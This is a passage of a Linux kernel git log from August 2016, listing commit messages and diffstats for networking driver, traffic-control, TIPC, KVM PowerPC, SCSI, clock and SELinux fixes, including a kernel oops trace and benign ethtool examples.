skb->vlan_tci and skb->vlan_proto fields. The current dissection doesn't handle stripped vlan packets correctly. In some flows, vlan doesn't exist in skb->data anymore when applying flow dissection on the skb, fix that. In case vlan info wasn't stripped before applying flow_dissector (RPS flow for example), or in case of skb with multiple vlans (e.g. 802.1ad), get the vlan info from skb->data. The flow_dissector correctly skips any number of vlans and stores only the first level vlan. Fixes: 0744dd00c1b1 ('net: introduce skb_flow_dissect()') Signed-off-by: Hadar Hen Zion Acked-by: Jiri Pirko Signed-off-by: David S. Miller net/core/flow_dissector.c | 34 ++++++++++++++++++++++++++-------- 1 file changed, 26 insertions(+), 8 deletions(-) commit 92bcdcc672f536c0d1ac288621ad7b7aaf138063 Merge: a5c8818 16d5946 Author: David S. Miller Date: Thu Aug 18 23:04:40 2016 -0700 Merge branch 'qed-link-fixes' Yuval Mintz says: ==================== qed*: Fix ethtool issues relating to link This series addresses two issues that were introduced when adding support for ethtool's link_ksettings support - the first fixes a regression and second incorrect functionallity in the submission. Although these are fixes, as the feature currently exists only in 'next-next' I'm aiming them for it. Dave, please consider applying this series to 'net-next'. ==================== Signed-off-by: David S. Miller commit 16d5946a7c966643a78d68ff54ae5c2ddd2e5b63 Author: Yuval Mintz Date: Fri Aug 19 08:34:58 2016 +0300 qede: Fix forcing high speeds While '0xdead' and '0xbeef' are "great" values, we should use the correct SPEED_* values instead. Fixes: 054c67d1c82a ("qed*: Add support for ethtool link_ksettings callbacks") Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d194fd265e78ca1b2a4607918778446de44818b2 Author: Yuval Mintz Date: Fri Aug 19 08:34:57 2016 +0300 qed*: Fix pause setting When moving into using ethtool's link_ksetting, qed started supplying its own bitmask of speed/capabilities, but qede is still checking for the SUPPORTED value to determine whether it supports pause. Fixes: 054c67d1c82a ("qed*: Add support for ethtool link_ksettings callbacks") Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 2 +- include/linux/qed/qed_if.h | 8 +++++--- 2 files changed, 6 insertions(+), 4 deletions(-) commit a5c88182006105cbd6f882e2e789d2cfc823de3c Merge: 3e7d2d4 54be813 Author: David S. Miller Date: Thu Aug 18 23:02:50 2016 -0700 Merge branch '1GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 1GbE Intel Wired LAN Driver Updates 2016-08-18 This series contains updates to igb only. Gangfeng Huang provides all the changes in the series to update the igb driver to support advanced receive side filters that direct receive packets by flows to different hardware queues. This enables a tight control on routing a flow in the platform. First patch allows for receive network flow classification to insert and remove receive filters by ethtool. Second and third patches add the ability to insert and remove ethertype and VLAN priority filters by ethtool. Last patch just fixes an error message to return "Not supported" versus "Unknown error 524". ==================== Signed-off-by: David S. Miller commit 57ca2a4fed520ee85a8fe809ff1947ec7c25aec9 Author: Emil Tantilov Date: Fri Jul 29 14:46:31 2016 -0700 ixgbe: use atomic bitwise operations when handling reset requests Use atomic bitwise operations when setting and checking reset requests. This should help with possible races in the service task. Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe.h | 2 +- drivers/net/ethernet/intel/ixgbe/ixgbe_main.c | 16 +++++++--------- 2 files changed, 8 insertions(+), 10 deletions(-) commit ee95053f78ee6883a6aeb75e346346adc0f4aded Author: Emil Tantilov Date: Fri Jul 29 10:30:16 2016 -0700 ixgbevf: only check Tx queue enablement when debugging Following a write the VFTXDCTL.ENABLE bit is set only when the Tx queue is actually enabled, which may not happen during the configure phase even if we waited for it. Make this check debug only since this is causing confusion with users who notice the warning in dmesg. Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbevf/ixgbevf_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4ad6af0237fd3a2ab8e8ef8a43f7fe4bb3787718 Author: Emil Tantilov Date: Fri Jul 29 10:30:11 2016 -0700 ixgbevf: change hw_dbg to use netdev_dbg Instead of the home brewed macro make use of netdev_dbg same as the ixgbe driver. Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbevf/ixgbevf.h | 11 ++++------- drivers/net/ethernet/intel/ixgbevf/ixgbevf_main.c | 1 + 2 files changed, 5 insertions(+), 7 deletions(-) commit a55defd897cb2b4d96fedd81e2d5513d83ff339e Author: Emil Tantilov Date: Fri Jul 29 10:30:06 2016 -0700 ixgbe: only check Tx queue enablement when debugging Following a write the TXDCTL.ENABLE bit is set only when the Tx queue is actually enabled, which may not happen during the configure phase even if we waited for it. Make this check debug only since this is causing confusion with users who notice the warning in dmesg. Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 54be81328c07324a88cd5dd86b2e7422db3e768e Author: Gangfeng Huang Date: Wed Jul 6 13:22:57 2016 +0800 igb: fix error code in igb_add_ethtool_nfc_entry() Use error "rmgr: Cannot insert RX class rule: Operation not supported" is more meaningful than "rmgr: Cannot insert RX class rule: Unknown error 524" Signed-off-by: Gangfeng Huang Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/igb/igb_ethtool.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7a277a963bf394d80f8998a7143a208e0891f6e7 Author: Gangfeng Huang Date: Wed Jul 6 13:22:56 2016 +0800 igb: support RX flow classification by VLAN priority This patch is meant to allow for RX network flow classification to insert and remove VLAN priority filter by ethtool Example: Add an VLAN priority filter: $ ethtool -N eth0 flow-type ether vlan 0x6000 vlan-mask 0x1FFF action 2 loc 1 Show all filters: $ ethtool -n eth0 4 RX rings available Total 1 rules Filter: 1 Flow Type: Raw Ethernet Src MAC addr: 00:00:00:00:00:00 mask: FF:FF:FF:FF:FF:FF Dest MAC addr: 00:00:00:00:00:00 mask: FF:FF:FF:FF:FF:FF Ethertype: 0x0 mask: 0xFFFF VLAN EtherType: 0x0 mask: 0xffff VLAN: 0x6000 mask: 0x1fff User-defined: 0x0 mask: 0xffffffffffffffff Action: Direct to queue 2 Delete the filter by location: $ ethtool -N delete 1 Signed-off-by: Ruhao Gao Signed-off-by: Gangfeng Huang Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/igb/e1000_defines.h | 4 ++ drivers/net/ethernet/intel/igb/e1000_regs.h | 1 + drivers/net/ethernet/intel/igb/igb.h | 3 + drivers/net/ethernet/intel/igb/igb_ethtool.c | 91 ++++++++++++++++++++++++-- 4 files changed, 92 insertions(+), 7 deletions(-) commit 64c75d41ace516b7e4f0f187f91282aa43a51b38 Author: Gangfeng Huang Date: Wed Jul 6 13:22:55 2016 +0800 igb: support RX flow classification by ethertype This patch is meant to allow for RX network flow classification to insert and remove ethertype filter by ethtool Example: Add an ethertype filter: $ ethtool -N eth0 flow-type ether proto 0x88F8 action 2 Show all filters: $ ethtool -n eth0 4 RX rings available Total 1 rules Filter: 15 Flow Type: Raw Ethernet Src MAC addr: 00:00:00:00:00:00 mask: FF:FF:FF:FF:FF:FF Dest MAC addr: 00:00:00:00:00:00 mask: FF:FF:FF:FF:FF:FF Ethertype: 0x88F8 mask: 0x0 Action: Direct to queue 2 Delete the filter by location: $ ethtool -N delete 15 Signed-off-by: Ruhao Gao Signed-off-by: Gangfeng Huang Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/igb/e1000_82575.h | 5 ++ drivers/net/ethernet/intel/igb/igb.h | 21 ++++++-- drivers/net/ethernet/intel/igb/igb_ethtool.c | 77 +++++++++++++++++++++++++++- drivers/net/ethernet/intel/igb/igb_ptp.c | 4 +- 4 files changed, 101 insertions(+), 6 deletions(-) commit 0e71def252815d732f86d11d87d63f7186d9d3be Author: Gangfeng Huang Date: Wed Jul 6 13:22:54 2016 +0800 igb: add support of RX network flow classification This patch is meant to allow for RX network flow classification to insert and remove Rx filter by ethtool. Ethtool interface has it's own rules manager Show all filters: $ ethtool -n eth0 4 RX rings available Total 2 rules Signed-off-by: Ruhao Gao Signed-off-by: Gangfeng Huang Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/igb/igb.h | 32 +++++ drivers/net/ethernet/intel/igb/igb_ethtool.c | 193 +++++++++++++++++++++++++++ drivers/net/ethernet/intel/igb/igb_main.c | 45 +++++++ 3 files changed, 270 insertions(+) commit 3e7d2d45644988ceb237349a923e9ccc909564d3 Merge: e951f14 ea32746 Author: David S. Miller Date: Thu Aug 18 21:19:09 2016 -0700 Merge branch 'qdisc-hash-fixes' Jiri Kosina says: ==================== qdisc-hashtable fixes The following two patches fix all the issues that have been reported against the conversion of qdisc linked list to hashtable (currently in net-next) so far. First patch adjusts handling of singleton qdiscs to the new semantics, and is rather straightforward. The second patch, which fixes "cosmetic" issue of duplicate entries in the qdisc dump for ingress qdiscs, is a little bit more hairy; I personally would love to see all the already existing "if (ingress)"-like hacks go away (by, let's say, introducing a general TCQ_F_? flag), but that's way out of scope of this patchset (but already on my todo). Thanks a lot to Daniel Borkmann and David Ahern for reporting the issues and testing the patches promptly. ==================== Signed-off-by: David S. Miller commit ea3274695353127d12155d45be1f2d62ab19c897 Author: Jiri Kosina Date: Tue Aug 16 23:53:46 2016 +0200 net: sched: avoid duplicates in qdisc dump tc_dump_qdisc() performs dumping of the per-device qdiscs in two phases; first, the "standard" dev->qdisc is being dumped. Second, if there is/are ingress queue(s), they are being dumped as well. After conversion of netdevice's qdisc linked-list into hashtable, these two sets are not in two disjunctive sets/lists any more, but are both "reachable" directly from netdevice's hashtable. As a consequence, the "full-depth" dump of the ingress qdiscs results in immediately hitting the netdevice hashtable again, and duplicating the dump that has already been performed for dev->qdisc. What in fact needs to be dumped in case of ingress queue is "just" the top-level ingress qdisc, as everything else has been dumped already. Fix this by extending tc_dump_qdisc_root() in a way that it can be instructed whether it should (while performing the "full" per-netdev qdisc dump) perform the whole recursion, or just dump "additional" top-level (ingress) qdiscs without performing any kind of recursion. This fixes duplicate dumps such as qdisc mq 0: root qdisc pfifo_fast 0: parent :4 bands 3 priomap 1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1 qdisc pfifo_fast 0: parent :3 bands 3 priomap 1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1 qdisc pfifo_fast 0: parent :2 bands 3 priomap 1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1 qdisc pfifo_fast 0: parent :1 bands 3 priomap 1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1 qdisc clsact ffff: parent ffff:fff1 qdisc pfifo_fast 0: parent :4 bands 3 priomap 1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1 qdisc pfifo_fast 0: parent :3 bands 3 priomap 1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1 qdisc pfifo_fast 0: parent :2 bands 3 priomap 1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1 qdisc pfifo_fast 0: parent :1 bands 3 priomap 1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1 Fixes: 59cc1f61f ("net: sched: convert qdisc linked list to hashtable") Reported-by: Daniel Borkmann Tested-by: Daniel Borkmann Signed-off-by: Jiri Kosina Signed-off-by: David S. Miller net/sched/sch_api.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit 69012ae425d76ecacc573ecdbd2c360bd8c2b842 Author: Jiri Kosina Date: Tue Aug 16 23:52:58 2016 +0200 net: sched: fix handling of singleton qdiscs with qdisc_hash qdisc_match_from_root() is now iterating over per-netdevice qdisc hashtable instead of going through a linked-list of qdiscs (independently on the actual underlying netdev), which was the case before the switch to hashtable for qdiscs. For singleton qdiscs, there is no underlying netdev associated though, and therefore dumping a singleton qdisc will panic, as qdisc_dev(root) will always be NULL. BUG: unable to handle kernel NULL pointer dereference at 0000000000000410 IP: [] qdisc_match_from_root+0x2c/0x70 PGD 1aceba067 PUD 1aceb7067 PMD 0 Oops: 0000 [#1] PREEMPT SMP [ ... ] task: ffff8801ec996e00 task.stack: ffff8801ec934000 RIP: 0010:[] [] qdisc_match_from_root+0x2c/0x70 RSP: 0018:ffff8801ec937ab0 EFLAGS: 00010203 RAX: 0000000000000408 RBX: ffff88025e612000 RCX: ffffffffffffffd8 RDX: 0000000000000000 RSI: 00000000ffff0000 RDI: ffffffff81cf8100 RBP: ffff8801ec937ab0 R08: 000000000001c160 R09: ffff8802668032c0 R10: ffffffff81cf8100 R11: 0000000000000030 R12: 00000000ffff0000 R13: ffff88025e612000 R14: ffffffff81cf3140 R15: 0000000000000000 FS: 00007f24b9af6740(0000) GS:ffff88026f280000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000410 CR3: 00000001aceec000 CR4: 00000000001406e0 Stack: ffff8801ec937ad0 ffffffff81681210 ffff88025dd51a00 00000000fffffff1 ffff8801ec937b88 ffffffff81681e4e ffffffff81c42bc0 ffff880262431500 ffffffff81cf3140 ffff88025dd51a10 ffff88025dd51a24 00000000ec937b38 Call Trace: [] qdisc_lookup+0x40/0x50 [] tc_modify_qdisc+0x21e/0x550 [] rtnetlink_rcv_msg+0x95/0x220 [] ? __kmalloc_track_caller+0x172/0x230 [] ? rtnl_newlink+0x870/0x870 [] netlink_rcv_skb+0xa7/0xc0 [] rtnetlink_rcv+0x28/0x30 [] netlink_unicast+0x15b/0x210 [] netlink_sendmsg+0x319/0x390 [] sock_sendmsg+0x38/0x50 [] ___sys_sendmsg+0x256/0x260 [] ? __pagevec_lru_add_fn+0x135/0x280 [] ? pagevec_lru_move_fn+0xd0/0xf0 [] ? trace_event_raw_event_mm_lru_insertion+0x180/0x180 [] ? __lru_cache_add+0x75/0xb0 [] ? _raw_spin_unlock+0x16/0x40 [] ? handle_mm_fault+0x39f/0x1160 [] __sys_sendmsg+0x45/0x80 [] SyS_sendmsg+0x12/0x20 [] do_syscall_64+0x57/0xb0 Fix this by special-casing singleton qdiscs (those that don't have underlying netdevice) and introduce immediate handling of those rather than trying to go over an underlying netdevice. We're in the same situation in tc_dump_qdisc_root() and tc_dump_tclass_root(). Ultimately, this will have to be slightly reworked so that we are actually able to show singleton qdiscs (noop) in the dump properly; but we're not currently doing that anyway, so no regression there, and better do this in a gradual manner. Fixes: 59cc1f61f ("net: sched: convert qdisc linked list to hashtable") Reported-by: Daniel Borkmann Tested-by: Daniel Borkmann Reported-by: David Ahern Tested-by: David Ahern Signed-off-by: Jiri Kosina Signed-off-by: David S. Miller net/sched/sch_api.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit e951f145d1724769546efe2e04f6cb2b7037d7ea Merge: 37bd91d 5a0950c Author: David S. Miller Date: Thu Aug 18 21:14:37 2016 -0700 Merge branch 'tipc-next' Jon Maloy says: ==================== tipc: bearer and link improvements The first commit makes it possible to set and check the 'blocked' state of a bearer from the generic bearer layer. The second commit is a small improvement to the link congestion mechanism. ==================== Signed-off-by: David S. Miller commit 5a0950c27236dc6f6a3e9d13259c1a2e89fd1cf7 Author: Jon Paul Maloy Date: Tue Aug 16 11:53:51 2016 -0400 tipc: ensure that link congestion and wakeup use same criteria When a link is attempted woken up after congestion, it uses a different, more generous criteria than when it was originally declared congested. This has the effect that the link, and the sending process, sometimes will be woken up unnecessarily, just to immediately return to congestion when it turns out there is not not enough space in its send queue to host the pending message. This is a waste of CPU cycles. We now change the function link_prepare_wakeup() to use exactly the same criteria as tipc_link_xmit(). However, since we are now excluding the window limit from the wakeup calculation, and the current backlog limit for the lowest level is too small to house even a single maximum-size message, we have to expand this limit. We do this by evaluating an alternative, minimum value during the setting of the importance limits. Acked-by: Ying Xue Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/link.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit 0d051bf93c0640483788db56dfc118d307f8893b Author: Jon Paul Maloy Date: Tue Aug 16 11:53:50 2016 -0400 tipc: make bearer packet filtering generic In commit 5b7066c3dd24 ("tipc: stricter filtering of packets in bearer layer") we introduced a method of filtering out messages while a bearer is being reset, to avoid that links may be re-created and come back in working state while we are still in the process of shutting them down. This solution works well, but is limited to only work with L2 media, which is insufficient with the increasing use of UDP as carrier media. We now replace this solution with a more generic one, by introducing a new flag "up" in the generic struct tipc_bearer. This field will be set and reset at the same locations as with the previous solution, while the packet filtering is moved to the generic code for the sending side. On the receiving side, the filtering is still done in media specific code, but now including the UDP bearer. Acked-by: Ying Xue Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/bearer.c | 78 +++++++++++++++++++++++++++------------------------- net/tipc/bearer.h | 1 + net/tipc/udp_media.c | 2 +- 3 files changed, 42 insertions(+), 39 deletions(-) commit 37bd91d1d9a9a3ab5e8f7efedadc4ced5d2d0a3a Merge: 0d135e4 6c75424 Author: David S. Miller Date: Thu Aug 18 21:11:46 2016 -0700 Merge branch 'qed-next' Sudarsana Reddy Kalluru says: ==================== qed*: Add support for additional statistics. The patch series adds qed/qede support for new statistics. Patch (1) adds couple of statistcs for "ethtool -S" display. Patch (2) adds support for per-queue statistics to ethtool display. Patch (3) adds qed support for NCSI statistics. Please consider applying this to 'net-next' branch. ==================== Signed-off-by: David S. Miller commit 6c75424612a724d842f45d9d48cb648a73f184ac Author: Sudarsana Reddy Kalluru Date: Tue Aug 16 10:51:03 2016 -0400 qed: Add support for NCSI statistics. The patch adds driver support for sending the NCSI statistics to the MFW. This is an asynchronous request from MFW. Upon receiving this, driver populates the required data and send it to MFW. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed.h | 6 +++- drivers/net/ethernet/qlogic/qed/qed_hsi.h | 14 ++++++--- drivers/net/ethernet/qlogic/qed/qed_l2.h | 2 ++ drivers/net/ethernet/qlogic/qed/qed_main.c | 21 +++++++++++++ drivers/net/ethernet/qlogic/qed/qed_mcp.c | 48 ++++++++++++++++++++++++++++++ drivers/net/ethernet/qlogic/qed/qed_mcp.h | 41 +++++++++++++++++++++++++ 6 files changed, 127 insertions(+), 5 deletions(-) commit 68db9ec2df073f0d15351e0cb7de81d0a322f456 Author: Sudarsana Reddy Kalluru Date: Tue Aug 16 10:51:02 2016 -0400 qede: Add support for per-queue stats. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede.h | 3 ++ drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 63 ++++++++++++++++++++----- drivers/net/ethernet/qlogic/qede/qede_main.c | 4 ++ 3 files changed, 57 insertions(+), 13 deletions(-) commit 1a5a366f083af014fb2eedca1993c6ce6496224c Author: Sudarsana Reddy Kalluru Date: Tue Aug 16 10:51:01 2016 -0400 qede: Add support for capturing additional stats in ethtool-stats display. The patch adds driver support for capturing stats ttl0_discard and packet_too_big_discard in "ethtool -S" display. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede.h | 2 ++ drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 2 ++ drivers/net/ethernet/qlogic/qede/qede_main.c | 2 ++ 3 files changed, 6 insertions(+) commit 0d135e4f263af7da3c2fbe5f99b377cf483b6adf Author: Colin Ian King Date: Tue Aug 16 12:08:42 2016 +0100 net: atm: remove redundant null pointer check on dev->name dev->name is a char array of IFNAMSIZ elements, hence can never be null, so the null pointer check is redundant. Remove it. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller net/atm/mpc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e202d4c6350506e036bbd63a1fca1400960c8ab6 Author: Appana Durga Kedareswara Rao Date: Tue Aug 16 11:58:29 2016 +0530 net: phy: Update copyright info For implementing this driver most of the inputs is provided by Andrew Lunn. Updating the driver with Andrew Copy right. Signed-off-by: Kedareswara rao Appana Signed-off-by: Andrew Lunn Signed-off-by: David S. Miller drivers/net/phy/xilinx_gmii2rgmii.c | 2 ++ 1 file changed, 2 insertions(+) commit aead88bd0e990540c03df8108671c93b35354736 Author: shubhrajyoti.datta@xilinx.com Date: Tue Aug 16 10:14:50 2016 +0530 net: ethernet: macb: Add support for rx_clk Some of the platforms like zynqmp ultrascale+ has a separate clock gate for the rx clock. Add an optional rx_clk so that the clock can be enabled. Signed-off-by: Shubhrajyoti Datta Acked-by: Nicolas Ferre Acked-by: Rob Herring Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/macb.txt | 1 + drivers/net/ethernet/cadence/macb.c | 31 +++++++++++++++++++++----- drivers/net/ethernet/cadence/macb.h | 4 +++- 3 files changed, 30 insertions(+), 6 deletions(-) commit d52bfbda774a9996e0687511ab7a9cd67d195d05 Merge: 60747ef d40062f Author: David S. Miller Date: Thu Aug 18 20:45:14 2016 -0700 Merge branch '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 40GbE Intel Wired LAN Driver Updates 2016-08-18 This series contains updates to i40e and i40evf only. Wei Yongjun updates i40e to use list_move() instead of list_del() & list_add() operations. Anjali fixes an issue where the client->open call was not protected with the client instance mutex, which allowed client->close to be called before the open all completed. Catherine makes sure that the VLAN count (and stats) gets reset to 0 after reset. Jake provides two patches, first adds the needed rtnl lock around i40evf_set_interrupt_capability() since i40evf_init_task() does not hold the rtnl_lock. Second fixes an issue where users could reduce the number of channels (queues) below the current flow director filter rules targets. Dave fixes a problem where a static analysis tool generates a warning so eliminating the irrelevant check and redundant assignment for the value of enabled_tc. Avinash fixes an sync issue where the iWARP device open is called before the PCI register writes are completed, so ensure the register writes complete before exiting the setup function. Alan fixes a bug which causes RSS to continue to work after being disabled. Carolyn implements a feature change which allows using ethtool to set RDD hash options using less than four parameters if desired. Dan Carpenter cleans up a stray unlock. Sridhar exposes the "trust" flag to userspace via ndo_get_vf_config(). ==================== Signed-off-by: David S. Miller commit 34a75b0f63356097ae9f706d64a793934891002f Author: Paul Mackerras Date: Wed Aug 10 11:27:27 2016 +1000 KVM: PPC: Implement kvm_arch_intc_initialized() for PPC It doesn't make sense to create irqfds for a VM that doesn't have in-kernel interrupt controller emulation. There is an existing interface for architecture code to tell the irqfd code whether or not any interrupt controller has been initialized, called kvm_arch_intc_initialized(), so let's implement that for powerpc. Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_host.h | 2 ++ arch/powerpc/kvm/powerpc.c | 13 +++++++++++++ 2 files changed, 15 insertions(+) commit e48ba1cbce12eb4546771d45c09dd94c3404efe8 Author: Paul Mackerras Date: Wed Aug 10 11:13:09 2016 +1000 KVM: PPC: Book3S: Don't crash if irqfd used with no in-kernel XICS emulation It turns out that if userspace creates a pseries-type VM without in-kernel XICS (interrupt controller) emulation, and then connects an eventfd to the VM as an irqfd, and the eventfd gets signalled, that the code will try to deliver an interrupt via the non-existent XICS object and crash the host kernel with a NULL pointer dereference. To fix this, we check for the presence of the XICS object before trying to deliver the interrupt, and return with an error if not. Signed-off-by: Paul Mackerras arch/powerpc/kvm/book3s_xics.c | 2 ++ 1 file changed, 2 insertions(+) commit 888baf069f49529f33c0b1dfb0fc4811dc0ca1d2 Author: Matthew R. Ochs Date: Tue Aug 9 18:39:42 2016 -0500 scsi: cxlflash: Add kref to context Currently, context user references are tracked via the list of LUNs that have attached to the context. While convenient, this is not intuitive without a deep study of the code and is inconsistent with the existing reference tracking patterns within the kernel. This design choice can lead to future bug injection. To improve code comprehension and better protect against future bugs, add explicit reference counting to contexts and migrate the context removal code to the kref release handler. Inspired-by: Al Viro Signed-off-by: Matthew R. Ochs Acked-by: Manoj N. Kumar Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/superpipe.c | 87 +++++++++++++++++++++++---------------- drivers/scsi/cxlflash/superpipe.h | 1 + 2 files changed, 53 insertions(+), 35 deletions(-) commit 44ef38f9a2af8644c24ace6cbe1132dc70174c39 Author: Matthew R. Ochs Date: Tue Aug 9 18:39:30 2016 -0500 scsi: cxlflash: Cache owning adapter within context The context removal routine requires access to the owning adapter structure to reset the context within the AFU as part of the tear down sequence. In order to support kref adoption, the owning adapter must be accessible from the release handler. As the kref framework only provides the kref reference as the sole parameter, another means is needed to derive the owning adapter. As a remedy, the owning adapter reference is saved off within the context during initialization. Signed-off-by: Matthew R. Ochs Acked-by: Manoj N. Kumar Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/superpipe.c | 1 + drivers/scsi/cxlflash/superpipe.h | 1 + 2 files changed, 2 insertions(+) commit 41b99e1a30a6d04df7585905e5ffc7251099c6d3 Author: Matthew R. Ochs Date: Tue Aug 9 18:39:18 2016 -0500 scsi: cxlflash: Avoid mutex when destroying context Context information structures are protected by a mutex that is held when accessing/manipulating the context. When the code that manages these structures was authored, a decision was made to include taking the mutex as part of the allocation/initialization sequence and also handle the scenario where the mutex was already held when freeing the context. While not a problem outright, this design decision has been deemed as too flexible and the code should be made more rigid to avoid future bugs. In addition, further review of the code yields that the existing mutex manipulations in both of these context management paths are superfluous. This commit removes the obtaining of the context mutex in the context initialization routine and assumes the mutex is not held in the context free path. Inspired-by: Al Viro Signed-off-by: Matthew R. Ochs Acked-by: Manoj N. Kumar Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/superpipe.c | 26 ++++++++------------------ 1 file changed, 8 insertions(+), 18 deletions(-) commit a850ced42916a9bf25f4595c744156e6b8b8f5c0 Author: Hannes Reinecke Date: Fri Aug 5 14:55:03 2016 +0200 scsi: libfc: do not send ABTS when resetting exchanges When all exchanges are reset the upper layers have already logged out of the remote port, so the exchanges can be reset without sending any ABTS. Signed-off-by: Hannes Reinecke Reviewed-by: Chad Dupuis Tested-by: Chad Dupuis Signed-off-by: Martin K. Petersen drivers/scsi/libfc/fc_exch.c | 1 - 1 file changed, 1 deletion(-) commit 649eb8693857e9b9fca009fba4eb7e80f9f3a326 Author: Hannes Reinecke Date: Fri Aug 5 14:55:02 2016 +0200 scsi: libfc: reset exchange manager during LOGO handling FC-LS mandates that we should invalidate all sequences before sending a LOGO. And we should set the event to RPORT_EV_STOP when a LOGO request has been received to signal that all exchanges are terminated. Signed-off-by: Hannes Reinecke Reviewed-by: Chad Dupuis Tested-by: Chad Dupuis Signed-off-by: Martin K. Petersen drivers/scsi/libfc/fc_rport.c | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) commit d391966a03846176a78ef8d53898de8b4302a2be Author: Hannes Reinecke Date: Fri Aug 5 14:55:01 2016 +0200 scsi: libfc: send LOGO for PLOGI failure When running in point-to-multipoint mode PLOGI is done after FLOGI completed. So when the PLOGI fails we should be sending a LOGO to the remote port. [mkp: Applied by hand] Signed-off-by: Hannes Reinecke Reviewed-by: Chad Dupuis Tested-by: Chad Dupuis Signed-off-by: Martin K. Petersen drivers/scsi/libfc/fc_rport.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit 166f310b629c046b7f5ca846adf978cda47b06c2 Author: Hannes Reinecke Date: Fri Aug 5 14:55:00 2016 +0200 scsi: libfc: Issue PRLI after a PRLO has been received When receiving a PRLO it just means that the operating parameters have changed, it does _not_ mean that the port doesn't want to communicate with us. So instead of implicitly logging out we should be issueing a PRLI to figure out the new operating parameters. We can always recover once PRLI fails. Signed-off-by: Hannes Reinecke Reviewed-by: Chad Dupuis Tested-by: Chad Dupuis Signed-off-by: Martin K. Petersen drivers/scsi/libfc/fc_rport.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 928f3bfb81e81e7f3ce6d37857a1ae075475678d Author: James Liao Date: Tue Aug 16 15:30:21 2016 +0800 clk: mediatek: remove __init from clk registration functions Remove __init from functions that will be used by init functions that support probe deferral. Signed-off-by: James Liao Signed-off-by: Erin Lo Signed-off-by: Stephen Boyd drivers/clk/mediatek/clk-gate.c | 2 +- drivers/clk/mediatek/clk-mtk.c | 12 ++++++------ drivers/clk/mediatek/clk-pll.c | 2 +- 3 files changed, 8 insertions(+), 8 deletions(-) commit 944b9a41e004534f3634335aa1d6bec16700028f Author: Stephen Boyd Date: Wed Jun 1 16:15:15 2016 -0700 clk: ls1x: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Kelvin Cheung Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-ls1x.c | 69 +++++++++++++++++++++++++------------------------- 1 file changed, 35 insertions(+), 34 deletions(-) commit 348a0db9e69e4c214bf5d7677f17cb99cdc47db0 Author: William Roberts Date: Mon Aug 15 12:42:12 2016 -0700 selinux: drop SECURITY_SELINUX_POLICYDB_VERSION_MAX Remove the SECURITY_SELINUX_POLICYDB_VERSION_MAX Kconfig option Per: https://github.com/SELinuxProject/selinux/wiki/Kernel-Todo This was only needed on Fedora 3 and 4 and just causes issues now, so drop it. The MAX and MIN should just be whatever the kernel can support. Signed-off-by: William Roberts Signed-off-by: Paul Moore security/selinux/Kconfig | 38 ------------------------------------- security/selinux/include/security.h | 4 ---- 2 files changed, 42 deletions(-) commit 8964193f6bfda5c4cf14eedb7e94892c1f1c34f0 Author: Tang Yuantian Date: Mon Aug 15 15:28:20 2016 +0800 clk: qoriq: fix a register offset error The offset of Core Cluster 